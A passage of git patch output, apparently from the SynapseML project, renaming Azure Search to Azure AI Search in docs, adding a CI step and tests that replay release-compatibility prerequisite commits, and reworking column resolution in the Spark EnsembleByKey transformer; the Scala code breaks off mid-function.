\"https://{}.search.windows.net/indexes/{}/docs/search?api-version=2019-05-06\".format(\n", + "search_url = \"https://{}.search.windows.net/indexes/{}/docs/search?api-version=2026-04-01\".format(\n", " search_service, search_index\n", ")\n", "requests.post(\n", @@ -693,7 +693,7 @@ } }, "source": [ - "## 10 - Build a chatbot that can use Azure Search as a tool 🧠🔧" + "## 10 - Build a chatbot that can use Azure AI Search as a tool 🧠🔧" ] }, { diff --git a/docs/Quick Examples/transformers/cognitive/_AzureSearch.md b/docs/Quick Examples/transformers/cognitive/_AzureSearch.md index 8332b1bf195..079af809bf5 100644 --- a/docs/Quick Examples/transformers/cognitive/_AzureSearch.md +++ b/docs/Quick Examples/transformers/cognitive/_AzureSearch.md @@ -3,7 +3,7 @@ import TabItem from '@theme/TabItem'; import DocTable from "@theme/DocumentationTable"; -## Azure Search +## Azure AI Search ### AzureSearch diff --git a/pipeline.yaml b/pipeline.yaml index 40513a5cba2..fd30e8435b3 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -998,8 +998,100 @@ jobs: "${REPLAY_PATHS[@]}" > "$PATCH_PATH" test -s "$PATCH_PATH" + PREREQUISITES_CONFIG=".pipelines/release-compat-prerequisites.txt" + CONFIGURED_PREREQUISITES=() + if git cat-file -e "$PR_MERGE_HEAD:$PREREQUISITES_CONFIG" 2>/dev/null; then + LINE_NUMBER=0 + while IFS= read -r RAW_LINE || [ -n "$RAW_LINE" ]; do + LINE_NUMBER=$((LINE_NUMBER + 1)) + PREREQUISITE="${RAW_LINE#"${RAW_LINE%%[![:space:]]*}"}" + PREREQUISITE="${PREREQUISITE%"${PREREQUISITE##*[![:space:]]}"}" + case "$PREREQUISITE" in + ""|\#*) + continue + ;; + esac + if [[ ! "$PREREQUISITE" =~ ^[0-9a-fA-F]{40}$ ]]; then + echo "##vso[task.logissue type=error]Invalid prerequisite at $PREREQUISITES_CONFIG:$LINE_NUMBER; expected a full 40-character commit SHA" + exit 1 + fi + if ! git cat-file -e "$PREREQUISITE^{commit}" 2>/dev/null; then + echo "##vso[task.logissue type=error]Release compatibility prerequisite $PREREQUISITE is unavailable" + exit 1 + fi + if ! git merge-base --is-ancestor "$PREREQUISITE" "$TARGET_HEAD"; then + echo "##vso[task.logissue type=error]Release compatibility prerequisite $PREREQUISITE is not an ancestor of PR target $TARGET_HEAD" + exit 1 + fi + CONFIGURED_PREREQUISITES+=("$PREREQUISITE") + done < <(git show "$PR_MERGE_HEAD:$PREREQUISITES_CONFIG") + fi + + PREREQUISITE_COMMITS=() + PREREQUISITE_PATCHES=() + for PREREQUISITE in "${CONFIGURED_PREREQUISITES[@]}"; do + if ! PREREQUISITE_PARENT=$(git rev-parse "$PREREQUISITE^1" 2>/dev/null); then + echo "##vso[task.logissue type=error]Release compatibility prerequisite $PREREQUISITE has no first parent" + exit 1 + fi + PREREQUISITE_PATHS=() + while IFS= read -r -d '' path; do + case "$path" in + .github/*|.pipelines/*|docs/*|templates/*|tools/acr/*|tools/ci/*|tools/docker/*|tools/helm/*|website/*) + ;; + pipeline.yaml|CODEOWNERS|CONTRIBUTING.md|LICENSE|README.md|SECURITY.md) + ;; + *) + PREREQUISITE_PATHS+=("$path") + ;; + esac + done < <(git diff --name-only -z "$PREREQUISITE_PARENT" "$PREREQUISITE") + + if [ ${#PREREQUISITE_PATHS[@]} -eq 0 ]; then + echo "Prerequisite $PREREQUISITE has no release-relevant paths; skipping" + continue + fi + + PREREQUISITE_PATCH="$(Agent.TempDirectory)/release-compat-prerequisite-$PREREQUISITE.patch" + git diff --binary --full-index "$PREREQUISITE_PARENT" "$PREREQUISITE" -- \ + "${PREREQUISITE_PATHS[@]}" > "$PREREQUISITE_PATCH" + if [ ! -s "$PREREQUISITE_PATCH" ]; then + echo "##vso[task.logissue type=error]Prerequisite $PREREQUISITE produced an empty release patch" + exit 1 + fi + PREREQUISITE_COMMITS+=("$PREREQUISITE") + PREREQUISITE_PATCHES+=("$PREREQUISITE_PATCH") + done + echo "=== Attempting to apply release-relevant PR changes onto $(RELEASE_BRANCH) ===" git checkout --detach $RELEASE_TIP + for index in "${!PREREQUISITE_COMMITS[@]}"; do + PREREQUISITE="${PREREQUISITE_COMMITS[$index]}" + PREREQUISITE_PATCH="${PREREQUISITE_PATCHES[$index]}" + echo "=== Applying release compatibility prerequisite $PREREQUISITE ===" + if git apply --reverse --check --index "$PREREQUISITE_PATCH" >/dev/null 2>&1; then + echo "Prerequisite $PREREQUISITE is already present on $(RELEASE_BRANCH); skipping" + continue + fi + if ! APPLY_OUTPUT=$(git apply --3way --index "$PREREQUISITE_PATCH" 2>&1); then + printf '%s\n' "$APPLY_OUTPUT" + CONFLICTING_FILES=$(git diff --name-only --diff-filter=U 2>/dev/null || true) + if [ -n "$CONFLICTING_FILES" ]; then + echo "##vso[task.logissue type=error]Prerequisite $PREREQUISITE conflicts with $(RELEASE_BRANCH)" + echo "" + echo "=== Conflicting files ===" + printf '%s\n' "$CONFLICTING_FILES" + else + echo "##vso[task.logissue type=error]Unable to apply prerequisite $PREREQUISITE before conflict detection" + fi + echo "=== Checkout status after prerequisite failure ===" + git status --short + exit 1 + fi + printf '%s\n' "$APPLY_OUTPUT" + echo "Prerequisite $PREREQUISITE applies cleanly" + done + if ! APPLY_OUTPUT=$(git apply --3way --index "$PATCH_PATH" 2>&1); then printf '%s\n' "$APPLY_OUTPUT" CONFLICTING_FILES=$(git diff --name-only --diff-filter=U 2>/dev/null || true) diff --git a/tools/ci/tests/test_pipeline_yaml.py b/tools/ci/tests/test_pipeline_yaml.py index e30073fba47..2b5fa399719 100644 --- a/tools/ci/tests/test_pipeline_yaml.py +++ b/tools/ci/tests/test_pipeline_yaml.py @@ -6,8 +6,14 @@ shared helper. Run with: ``python -m pytest tools/ci/tests/test_pipeline_yaml.py``. """ +import os +import re +import shutil +import subprocess +import uuid from pathlib import Path +import pytest import yaml REPO_ROOT = Path(__file__).resolve().parents[3] @@ -18,6 +24,9 @@ DATABRICKS_IMPACT = REPO_ROOT / "tools" / "ci" / "databricks_impact.py" DATABRICKS_STEPS_TPL = REPO_ROOT / "templates" / "databricks_e2e_steps.yml" CLEAN_ACR_PIPELINE = REPO_ROOT / ".pipelines" / "clean-acr.yml" +RELEASE_COMPAT_PREREQUISITES = ( + REPO_ROOT / ".pipelines" / "release-compat-prerequisites.txt" +) def _pipeline_text(): @@ -35,6 +44,32 @@ def _jobs(node): yield from _jobs(value) +def _release_compat_script(): + data = yaml.safe_load(_pipeline_text()) + jobs = {j.get("job"): j for j in _jobs(data["jobs"])} + steps = jobs["ReleaseBranchCompat"]["steps"] + return next( + step["bash"] + for step in steps + if isinstance(step, dict) + and step.get("displayName") == "Apply PR changes onto $(RELEASE_BRANCH)" + ) + + +def _git(repo, *args): + result = subprocess.run( + ["git", "-C", str(repo), *args], + check=False, + capture_output=True, + text=True, + ) + assert result.returncode == 0, ( + f"git {' '.join(args)} failed\nstdout:\n{result.stdout}\nstderr:\n" + f"{result.stderr}" + ) + return result + + def test_pipeline_and_templates_parse(): assert yaml.safe_load(PIPELINE.read_text()) is not None assert yaml.safe_load(CLEAN_ACR_PIPELINE.read_text()) is not None @@ -266,12 +301,42 @@ def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): assert "Skipping deletion already absent on $(RELEASE_BRANCH)" in rebase_script assert "[ ${#REPLAY_PATHS[@]} -eq 0 ]" in rebase_script assert '"${REPLAY_PATHS[@]}" > "$PATCH_PATH"' in rebase_script + assert 'PREREQUISITES_CONFIG=".pipelines/release-compat-prerequisites.txt"' in ( + rebase_script + ) + assert 'git show "$PR_MERGE_HEAD:$PREREQUISITES_CONFIG"' in rebase_script + assert '[[ ! "$PREREQUISITE" =~ ^[0-9a-fA-F]{40}$ ]]' in rebase_script + assert ( + 'git merge-base --is-ancestor "$PREREQUISITE" "$TARGET_HEAD"' in rebase_script + ) + assert 'git rev-parse "$PREREQUISITE^1"' in rebase_script + assert ( + 'git diff --name-only -z "$PREREQUISITE_PARENT" "$PREREQUISITE"' + in rebase_script + ) + release_exclusions = ( + ".github/*|.pipelines/*|docs/*|templates/*|tools/acr/*|tools/ci/*|" + "tools/docker/*|tools/helm/*|website/*" + ) + assert rebase_script.count(release_exclusions) == 2 + assert ( + 'git diff --binary --full-index "$PREREQUISITE_PARENT" "$PREREQUISITE"' + in rebase_script + ) assert "git checkout --detach $RELEASE_TIP" in rebase_script + assert 'git apply --reverse --check --index "$PREREQUISITE_PATCH"' in rebase_script + assert 'git apply --3way --index "$PREREQUISITE_PATCH"' in rebase_script assert 'git apply --3way --index "$PATCH_PATH"' in rebase_script + assert rebase_script.index( + 'git show "$PR_MERGE_HEAD:$PREREQUISITES_CONFIG"' + ) < rebase_script.index("git checkout --detach $RELEASE_TIP") + assert rebase_script.index( + 'git apply --3way --index "$PREREQUISITE_PATCH"' + ) < rebase_script.index('git apply --3way --index "$PATCH_PATH"') assert "git rebase" not in rebase_script assert "CONFLICTING_FILES=$(git diff --name-only --diff-filter=U" in rebase_script assert "before conflict detection" in rebase_script - assert rebase_script.count("printf '%s\\n' \"$APPLY_OUTPUT\"") == 2 + assert rebase_script.count("printf '%s\\n' \"$APPLY_OUTPUT\"") == 4 cache_step = next( step @@ -314,6 +379,94 @@ def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): assert "releaseCompatRequired" in result_steps[0]["condition"] +def test_release_compat_prerequisites_are_full_shas(): + lines = [ + line.strip() + for line in RELEASE_COMPAT_PREREQUISITES.read_text().splitlines() + if line.strip() and not line.lstrip().startswith("#") + ] + # The list is meant to drain to empty once every validated release branch carries the + # backports, and the replay script already treats an absent or empty list as a no-op, so + # only the shape of the entries that are present is validated here. + assert all(re.fullmatch(r"[0-9a-fA-F]{40}", line) for line in lines) + assert len(lines) == len(set(lines)), "prerequisite commits must be unique" + + +@pytest.mark.skipif(os.name != "posix", reason="release replay script requires Bash") +def test_release_compat_replays_prerequisite_before_pr_patch(): + scratch_root = REPO_ROOT / "target" / f"release-compat-replay-{uuid.uuid4().hex}" + repo = scratch_root / "repo" + origin = scratch_root / "origin.git" + agent_temp = scratch_root / "agent" + + try: + repo.mkdir(parents=True) + agent_temp.mkdir() + subprocess.run( + ["git", "init", "--initial-branch=master", str(repo)], + check=True, + capture_output=True, + text=True, + ) + _git(repo, "config", "user.name", "Release Compat Test") + _git(repo, "config", "user.email", "release-compat@example.test") + + source_file = repo / "src" / "value.txt" + source_file.parent.mkdir() + source_file.write_text("base\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "base") + base = _git(repo, "rev-parse", "HEAD").stdout.strip() + _git(repo, "branch", "release", base) + + source_file.write_text("aad\n") + _git(repo, "commit", "-am", "prerequisite") + prerequisite = _git(repo, "rev-parse", "HEAD").stdout.strip() + + _git(repo, "checkout", "-b", "source") + prerequisite_config = repo / ".pipelines" / "release-compat-prerequisites.txt" + prerequisite_config.parent.mkdir() + prerequisite_config.write_text(f"# prerequisite\n{prerequisite}\n") + source_file.write_text("aad\nsearch\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "feature") + + _git(repo, "checkout", "master") + _git(repo, "merge", "--no-ff", "source", "-m", "merge feature") + + subprocess.run( + ["git", "init", "--bare", str(origin)], + check=True, + capture_output=True, + text=True, + ) + _git(repo, "remote", "add", "origin", str(origin)) + _git(repo, "push", "origin", "master", "source", "release") + + script = _release_compat_script() + script = script.replace("$(Agent.TempDirectory)", str(agent_temp)) + script = script.replace("$(RELEASE_BRANCH)", "release") + result = subprocess.run( + ["bash", "-c", script], + cwd=repo, + check=False, + capture_output=True, + text=True, + ) + + assert ( + result.returncode == 0 + ), f"release replay failed\nstdout:\n{result.stdout}\nstderr:\n{result.stderr}" + assert source_file.read_text() == "aad\nsearch\n" + assert _git(repo, "diff", "--cached", "--name-only").stdout.splitlines() == [ + "src/value.txt" + ] + assert f"Prerequisite {prerequisite} applies cleanly" in result.stdout + assert "PR changes apply cleanly onto release" in result.stdout + finally: + shutil.rmtree(scratch_root, ignore_errors=True) + + def test_acr_cleanup_is_schedule_only_and_uses_dedicated_identity(): data = yaml.safe_load(CLEAN_ACR_PIPELINE.read_text()) assert data["trigger"] == "none" From feea272000dbb7d2fead93ee782acf12ee4c1b9f Mon Sep 17 00:00:00 2001 From: Minh Vu Date: Wed, 12 Aug 2026 02:12:43 +0200 Subject: [PATCH 44/93] fix: make EnsembleByKey transformSchema match output (#2575) Co-authored-by: Ranadeep Singh --- .../python/synapse/ml/stages/EnsembleByKey.py | 13 + .../synapse/ml/stages/EnsembleByKey.scala | 742 ++++++++++++++++-- .../azure/synapse/ml/stages/EnsembleByKey.txt | 18 + .../python/synapsemltest/stages/__init__.py | 2 + .../stages/test_ensemble_by_key.py | 57 ++ .../stages/EnsembleByKeyResolutionSuite.scala | 163 ++++ .../ml/stages/EnsembleByKeySuite.scala | 680 +++++++++++++++- 7 files changed, 1621 insertions(+), 54 deletions(-) create mode 100644 core/src/main/python/synapse/ml/stages/EnsembleByKey.py create mode 100644 core/src/test/python/synapsemltest/stages/__init__.py create mode 100644 core/src/test/python/synapsemltest/stages/test_ensemble_by_key.py create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKeyResolutionSuite.scala diff --git a/core/src/main/python/synapse/ml/stages/EnsembleByKey.py b/core/src/main/python/synapse/ml/stages/EnsembleByKey.py new file mode 100644 index 00000000000..4de593ac0b2 --- /dev/null +++ b/core/src/main/python/synapse/ml/stages/EnsembleByKey.py @@ -0,0 +1,13 @@ +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. + +from pyspark.ml.common import inherit_doc +from synapse.ml.stages._EnsembleByKey import _EnsembleByKey + + +@inherit_doc +class EnsembleByKey(_EnsembleByKey): + def getColNames(self): + if self.isSet(self.colNames): + return self.getOrDefault(self.colNames) + return [f"{self.getStrategy()}({name})" for name in self.getCols()] diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKey.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKey.scala index 72484947c4f..47ea2bb7724 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKey.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKey.scala @@ -11,17 +11,83 @@ import org.apache.spark.ml.linalg.SQLDataTypes._ import org.apache.spark.ml.param._ import org.apache.spark.ml.stat.Summarizer import org.apache.spark.ml.util.{DefaultParamsReadable, DefaultParamsWritable, Identifiable} +import org.apache.spark.sql.catalyst.analysis.UnresolvedAttribute +import org.apache.spark.sql.catalyst.expressions.{Attribute, Cast, ExprId, RowOrdering} import org.apache.spark.sql.functions._ import org.apache.spark.sql.types._ -import org.apache.spark.sql.{DataFrame, Dataset} +import org.apache.spark.sql.{Column, DataFrame, Dataset, SparkSession} import scala.collection.JavaConverters._ - -object EnsembleByKey extends DefaultParamsReadable[EnsembleByKey] +import scala.util.Try + +object EnsembleByKey extends DefaultParamsReadable[EnsembleByKey] { + + // Spark's union analysis re-aliases duplicated child outputs and tags them with this key so that + // AttributeSeq.resolve can prune them before reporting an ambiguous reference. + private val DuplicateMetadataKey = "__is_duplicate" + + private case class PathStep(name: String, mapKeyType: Option[DataType]) + + private case class ResolvedField( + reference: String, + qualifier: Array[String], + path: Array[PathStep], + ordinals: Array[Int], + field: StructField) + + private case class ResolvedColumns( + inputFields: Array[ResolvedField], + outputNames: Array[String], + keyFields: Array[ResolvedField], + aggregateFields: Array[StructField], + caseSensitive: Boolean) + + private case class ResolvedStep( + fieldName: String, + dataType: DataType, + nullable: Boolean, + metadata: Metadata, + ordinal: Int, + mapKeyType: Option[DataType]) + + private case class FieldRole( + consumesInputColumn: Boolean, + declaredOutput: StructField => Option[StructField]) + + private case class QualifiedMatch( + qualifier: Array[String], + requestedPath: Array[String], + ordinal: Int, + exprId: ExprId) + + private def columnNamesMatch(left: String, right: String, caseSensitive: Boolean): Boolean = + if (caseSensitive) left == right else left.equalsIgnoreCase(right) + + private def resolveFieldAtLevel( + schema: StructType, + fieldName: String, + reference: String, + caseSensitive: Boolean + ): (StructField, Int) = { + schema.fields.zipWithIndex.filter { case (field, _) => + columnNamesMatch(field.name, fieldName, caseSensitive) + } match { + case Array(result) => result + case Array() => throw new IllegalArgumentException( + s"$reference does not exist. Available: ${schema.fieldNames.mkString(", ")}") + case matches => throw new IllegalArgumentException( + s"$reference is ambiguous. Matches: ${matches.map(_._1.name).mkString(", ")}") + } + } +} class EnsembleByKey(val uid: String) extends Transformer with Wrappable with DefaultParamsWritable with SynapseMLLogging { + + import EnsembleByKey._ + logClass(FeatureNames.Core) + override protected lazy val pyInternalWrapper = true def this() = this(Identifiable.randomUID("EnsembleByKey")) @@ -47,7 +113,7 @@ class EnsembleByKey(val uid: String) extends Transformer val colNames = new StringArrayParam(this, "colNames", "Names of the result of each col") - def getColNames: Array[String] = $(colNames) + def getColNames: Array[String] = get(colNames).getOrElse(getCols.map(name => s"$getStrategy($name)")) def setColNames(arr: Array[String]): this.type = set(colNames, arr) @@ -83,73 +149,645 @@ class EnsembleByKey(val uid: String) extends Transformer setDefault(collapseGroup -> true) - override def transform(dataset: Dataset[_]): DataFrame = { - logTransform[DataFrame]({ + private val aggregateType: DataType => Option[DataType] = { + case _: DoubleType => Some(DoubleType) + case _: FloatType => Some(DoubleType) + case fdt if fdt == VectorType => Some(VectorType) + case _ => None + } - if (get(colNames).isEmpty) { - setDefault(colNames -> getCols.map(name => s"$getStrategy($name)")) - } + private val aggregateField = (outputName: String, dataType: DataType) => + StructField(outputName, dataType, nullable = dataType != VectorType) - transformSchema(dataset.schema) + private val keyRole = FieldRole( + consumesInputColumn = true, + field => Some(field.copy(name = ""))) + + private val aggregateRole = FieldRole( + consumesInputColumn = false, + field => aggregateType(field.dataType).map(aggregateField("", _))) + + private val topLevelMatches = (schema: StructType, fieldName: String, caseSensitive: Boolean) => + schema.fields.zipWithIndex.collect { + case (field, ordinal) if columnNamesMatch(field.name, fieldName, caseSensitive) => ordinal + } - val strategyToFloatFunction = Map( - "mean" -> { (x: String, y: String) => mean(x).alias(y) } - ) + private val analyzedAttributes = (dataset: Option[Dataset[_]]) => + dataset.toSeq.flatMap(_.queryExecution.analyzed.output) - val strategyToVectorFunction = Map( - "mean" -> { (x: String, y: String) => - Summarizer.mean(col(x)).alias(y) + private def pruneDuplicates[A](candidates: Seq[A])(metadataOf: A => Metadata): Seq[A] = { + if (candidates.length <= 1) { + candidates + } else { + val pruned = candidates.filterNot(metadataOf(_).contains(DuplicateMetadataKey)) + if (pruned.isEmpty) candidates else pruned + } + } + + private val withoutDuplicateMarker = (metadata: Metadata) => + if (metadata.contains(DuplicateMetadataKey)) { + new MetadataBuilder().withMetadata(metadata).remove(DuplicateMetadataKey).build() + } else { + metadata + } + + private val declaredField = (field: StructField, name: String) => + field.copy(name = name, metadata = withoutDuplicateMarker(field.metadata)) + + private val shareOneExpression = (attributes: Seq[Attribute], ordinals: Array[Int]) => + ordinals.length > 1 && ordinals.forall(_ < attributes.length) && + ordinals.map(attributes(_).exprId).distinct.length == 1 + + private def qualifiedPathMatches( + attributes: Seq[Attribute], + parsedPath: Array[String], + caseSensitive: Boolean + ): Seq[QualifiedMatch] = { + attributes.zipWithIndex + .flatMap { case (attribute, ordinal) => + (1 until parsedPath.length).collect { + case index + if columnNamesMatch(attribute.name, parsedPath(index), caseSensitive) && + qualifiersMatch(attribute.qualifier, parsedPath.take(index), caseSensitive) => + QualifiedMatch(parsedPath.take(index), parsedPath.drop(index), ordinal, attribute.exprId) } - ) - - val newCols = getCols.zip(getColNames).map { case (inColName, outColName) => - dataset.schema(inColName).dataType match { - case _: DoubleType => - strategyToFloatFunction(getStrategy)(inColName, outColName) - case _: FloatType => - strategyToFloatFunction(getStrategy)(inColName, outColName) - case v if v == VectorType => - strategyToVectorFunction(getStrategy)(inColName, outColName) - case t => - throw new IllegalArgumentException(s"Cannot operate on type $t with strategy $getStrategy") + } + } + + private def qualifiedMatch( + parsedPath: Array[String], + reference: String, + caseSensitive: Boolean, + dataset: Option[Dataset[_]] + ): Option[QualifiedMatch] = { + val attributes = analyzedAttributes(dataset) + val allMatches = qualifiedPathMatches(attributes, parsedPath, caseSensitive) + if (allMatches.isEmpty) { + None + } else { + // Spark selects the qualifier/name candidate set first and only then prunes duplicate-marked + // candidates, so pruning must never change which qualifier length wins. + val longestQualifier = allMatches.map(_.qualifier.length).max + val selected = allMatches.filter(_.qualifier.length == longestQualifier) + val matches = pruneDuplicates(selected)(candidate => attributes(candidate.ordinal).metadata) + require( + matches.map(_.exprId).distinct.length == 1, + s"$reference is ambiguous because it matches multiple dataset attributes") + Some(matches.head) + } + } + + private val schemaSplit = (schema: StructType, parsedPath: Array[String], caseSensitive: Boolean) => + parsedPath.indices.filter(index => + schema.fields.exists(field => + columnNamesMatch(field.name, parsedPath(index), caseSensitive))) + + private val qualifiersMatch = (actual: Seq[String], configured: Array[String], caseSensitive: Boolean) => + actual.length >= configured.length && + actual.takeRight(configured.length).zip(configured) + .forall { case (left, right) => columnNamesMatch(left, right, caseSensitive) } + + private def bindQualifier( + dataset: Dataset[_], + resolved: ResolvedField, + caseSensitive: Boolean + ): ResolvedField = { + if (resolved.qualifier.isEmpty) { + resolved + } else { + val candidates = dataset.queryExecution.analyzed.output.zipWithIndex.filter { case (attribute, _) => + columnNamesMatch(attribute.name, resolved.path.head.name, caseSensitive) && + qualifiersMatch(attribute.qualifier, resolved.qualifier, caseSensitive) + } + val matches = pruneDuplicates(candidates)(_._1.metadata) + matches match { + case Seq() => + throw new IllegalArgumentException(s"${resolved.reference} does not match a dataset qualifier") + case _ if matches.map(_._1.exprId).distinct.length == 1 => + resolved.copy(ordinals = resolved.ordinals.updated(0, matches.head._2)) + case _ => + throw new IllegalArgumentException(s"${resolved.reference} is ambiguous") + } + } + } + + // Spark's GetMapValue casts the requested literal to the map key type and additionally requires + // that key type to be orderable (TypeUtils.checkForOrderingExpr -> RowOrdering.isOrderable). + // RowOrdering.isOrderable(DataType) is identical in Spark 3.5 and Spark 4.1, so it is safe here. + private val mapKeyIsExtractable = (keyType: DataType) => + Cast.canCast(StringType, keyType) && RowOrdering.isOrderable(keyType) + + private val unsupportedMapKeyMessage = (reference: String, keyType: DataType) => + s"$reference cannot be extracted because map key type $keyType " + ( + if (Cast.canCast(StringType, keyType)) { + "is not orderable, so Spark cannot look up a map value by key. " + + "Use a map column whose key type is orderable, such as string." + } else "does not accept string keys") + + private def resolveStep( + currentType: DataType, + fieldName: String, + currentNullable: Boolean, + reference: String, + caseSensitive: Boolean + ): ResolvedStep = { + currentType match { + case currentSchema: StructType => + val (field, fieldOrdinal) = resolveFieldAtLevel( + currentSchema, + fieldName, + reference, + caseSensitive) + ResolvedStep( + field.name, + field.dataType, + currentNullable || field.nullable, + field.metadata, + fieldOrdinal, + None) + case ArrayType(elementSchema: StructType, containsNull) => + val (field, fieldOrdinal) = + resolveFieldAtLevel(elementSchema, fieldName, reference, caseSensitive) + ResolvedStep( + field.name, + ArrayType(field.dataType, containsNull || field.nullable), + currentNullable, + Metadata.empty, + fieldOrdinal, + None) + case MapType(keyType, valueType, _) if mapKeyIsExtractable(keyType) => + ResolvedStep(fieldName, valueType, nullable = true, Metadata.empty, -1, Some(keyType)) + case MapType(keyType, _, _) => + throw new IllegalArgumentException(unsupportedMapKeyMessage(reference, keyType)) + case _ => + throw new IllegalArgumentException( + s"$reference is not supported by Spark nested field extraction") + } + } + + private def resolvePath( + currentType: DataType, + remainingPath: List[String], + currentNullable: Boolean, + ordinals: List[Int], + reference: String, + caseSensitive: Boolean + ): (StructField, List[Int], List[PathStep]) = { + val step = resolveStep( + currentType, + remainingPath.head, + currentNullable, + reference, + caseSensitive) + val pathStep = PathStep(step.fieldName, step.mapKeyType) + + remainingPath.tail match { + case Nil => + (StructField(step.fieldName, step.dataType, step.nullable, step.metadata), + ordinals :+ step.ordinal, + List(pathStep)) + case nestedPath => + val (field, fieldOrdinals, fieldSteps) = resolvePath( + step.dataType, + nestedPath, + step.nullable, + ordinals :+ step.ordinal, + reference, + caseSensitive) + (field, fieldOrdinals, pathStep +: fieldSteps) + } + } + + private def candidateOutput( + schema: StructType, + requestedPath: Array[String], + ordinal: Int, + reference: String, + caseSensitive: Boolean, + role: FieldRole + ): Option[Option[StructField]] = { + Try(resolveAtOrdinal(schema, Array.empty[String], requestedPath, ordinal, reference, caseSensitive)) + .toOption + .map(resolved => role.declaredOutput(resolved.field)) + } + + private val candidateOutputsAgree = ( + schema: StructType, + matches: Array[Int], + requestedPath: Array[String], + reference: String, + caseSensitive: Boolean, + role: FieldRole) => + matches + .map(ordinal => candidateOutput(schema, requestedPath, ordinal, reference, caseSensitive, role)) + .distinct + .length <= 1 + + private def requireStableQualifiedField( + schema: StructType, + matches: Array[Int], + requestedPath: Array[String], + reference: String, + caseSensitive: Boolean, + role: FieldRole + ): Unit = { + require( + candidateOutputsAgree(schema, matches, requestedPath, reference, caseSensitive, role), + s"$reference matches columns with incompatible declared outputs") + require( + matches.length <= 1 || requestedPath.length > 1 || + getCollapseGroup || !role.consumesInputColumn, + s"$reference cannot be resolved from schema because multiple columns are named " + + s"${requestedPath.head} when collapseGroup is false") + } + + private def resolveFromSchema( + schema: StructType, + qualifier: Array[String], + requestedPath: Array[String], + reference: String, + caseSensitive: Boolean, + role: FieldRole, + dataset: Option[Dataset[_]] + ): ResolvedField = { + val candidates = topLevelMatches(schema, requestedPath.head, caseSensitive) + if (qualifier.isEmpty) { + resolveUnqualifiedFromSchema(schema, candidates, requestedPath, reference, caseSensitive, role, dataset) + } else if (candidates.isEmpty) { + resolveNestedPath(schema, qualifier, requestedPath, reference, caseSensitive) + } else { + // A schema carries no qualifier metadata, so every ordinal the dataset-aware path could select + // must derive the same output instead of pruning duplicate-marked fields out of the candidates. + requireStableQualifiedField(schema, candidates, requestedPath, reference, caseSensitive, role) + resolveAtOrdinal(schema, qualifier, requestedPath, candidates.head, reference, caseSensitive) + } + } + + private def resolveUnqualifiedFromSchema( + schema: StructType, + candidates: Array[Int], + requestedPath: Array[String], + reference: String, + caseSensitive: Boolean, + role: FieldRole, + dataset: Option[Dataset[_]] + ): ResolvedField = { + val matches = pruneDuplicates(candidates.toSeq)(schema(_).metadata).toArray + val resolvableDuplicates = candidates.length > 1 && + (matches.length == 1 || + ((dataset.isEmpty || shareOneExpression(analyzedAttributes(dataset), matches)) && + Try(requireStableQualifiedField( + schema, matches, requestedPath, reference, caseSensitive, role)).isSuccess)) + if (!resolvableDuplicates) { + resolveNestedPath(schema, Array.empty[String], requestedPath, reference, caseSensitive) + } else { + requireStableQualifiedField(schema, matches, requestedPath, reference, caseSensitive, role) + resolveAtOrdinal(schema, Array.empty[String], requestedPath, matches.head, reference, caseSensitive) + } + } + + private def resolveNestedPath( + schema: StructType, + qualifier: Array[String], + requestedPath: Array[String], + reference: String, + caseSensitive: Boolean + ): ResolvedField = { + val (field, ordinals, steps) = + resolvePath(schema, requestedPath.toList, false, Nil, reference, caseSensitive) + ResolvedField(reference, qualifier, steps.toArray, ordinals.toArray, declaredField(field, requestedPath.last)) + } + + private def resolveFromOrdinal( + schema: StructType, + qualifier: Array[String], + requestedPath: Array[String], + ordinal: Int, + reference: String, + caseSensitive: Boolean, + role: FieldRole + ): ResolvedField = { + val matches = topLevelMatches(schema, requestedPath.head, caseSensitive) + requireStableQualifiedField(schema, matches, requestedPath, reference, caseSensitive, role) + resolveAtOrdinal(schema, qualifier, requestedPath, ordinal, reference, caseSensitive) + } + + private def resolveAtOrdinal( + schema: StructType, + qualifier: Array[String], + requestedPath: Array[String], + ordinal: Int, + reference: String, + caseSensitive: Boolean + ): ResolvedField = { + val topField = schema(ordinal) + val topStep = PathStep(topField.name, None) + val (field, ordinals, steps) = requestedPath.tail.toList match { + case Nil => (topField, List(ordinal), List(topStep)) + case nestedPath => + val (nestedField, nestedOrdinals, nestedSteps) = resolvePath( + topField.dataType, + nestedPath, + topField.nullable, + List(ordinal), + reference, + caseSensitive) + (nestedField, nestedOrdinals, topStep +: nestedSteps) + } + ResolvedField(reference, qualifier, steps.toArray, ordinals.toArray, declaredField(field, requestedPath.last)) + } + + private def outputContribution( + role: FieldRole, + resolved: ResolvedField + ): (Option[StructField], Option[Int]) = { + val consumesOrdinal = + role.consumesInputColumn && !getCollapseGroup && resolved.path.length == 1 + val consumedOrdinal = if (consumesOrdinal) Some(resolved.ordinals.head) else None + (role.declaredOutput(resolved.field), consumedOrdinal) + } + + private def schemaInterpretations( + schema: StructType, + parsedPath: Array[String], + reference: String, + caseSensitive: Boolean, + role: FieldRole, + dataset: Option[Dataset[_]] + ): Seq[ResolvedField] = { + schemaSplit(schema, parsedPath, caseSensitive).flatMap(index => + Try(resolveFromSchema( + schema, + parsedPath.take(index), + parsedPath.drop(index), + reference, + caseSensitive, + role, + dataset)).toOption) + } + + private def resolveField( + schema: StructType, + reference: String, + caseSensitive: Boolean, + dataset: Option[Dataset[_]], + role: FieldRole + ): ResolvedField = { + val parsedPath = UnresolvedAttribute.parseAttributeName(reference).toArray + val interpretations = schemaInterpretations(schema, parsedPath, reference, caseSensitive, role, dataset) + require( + interpretations.map(outputContribution(role, _)).distinct.length <= 1, + s"$reference is ambiguous between a nested field and a dataset qualifier") + + qualifiedMatch(parsedPath, reference, caseSensitive, dataset) match { + case Some(matched) => + resolveFromOrdinal( + schema, + matched.qualifier, + matched.requestedPath, + matched.ordinal, + reference, + caseSensitive, + role) + case None => + interpretations.headOption.getOrElse { + val pathStart = schemaSplit(schema, parsedPath, caseSensitive).headOption.getOrElse(0) + 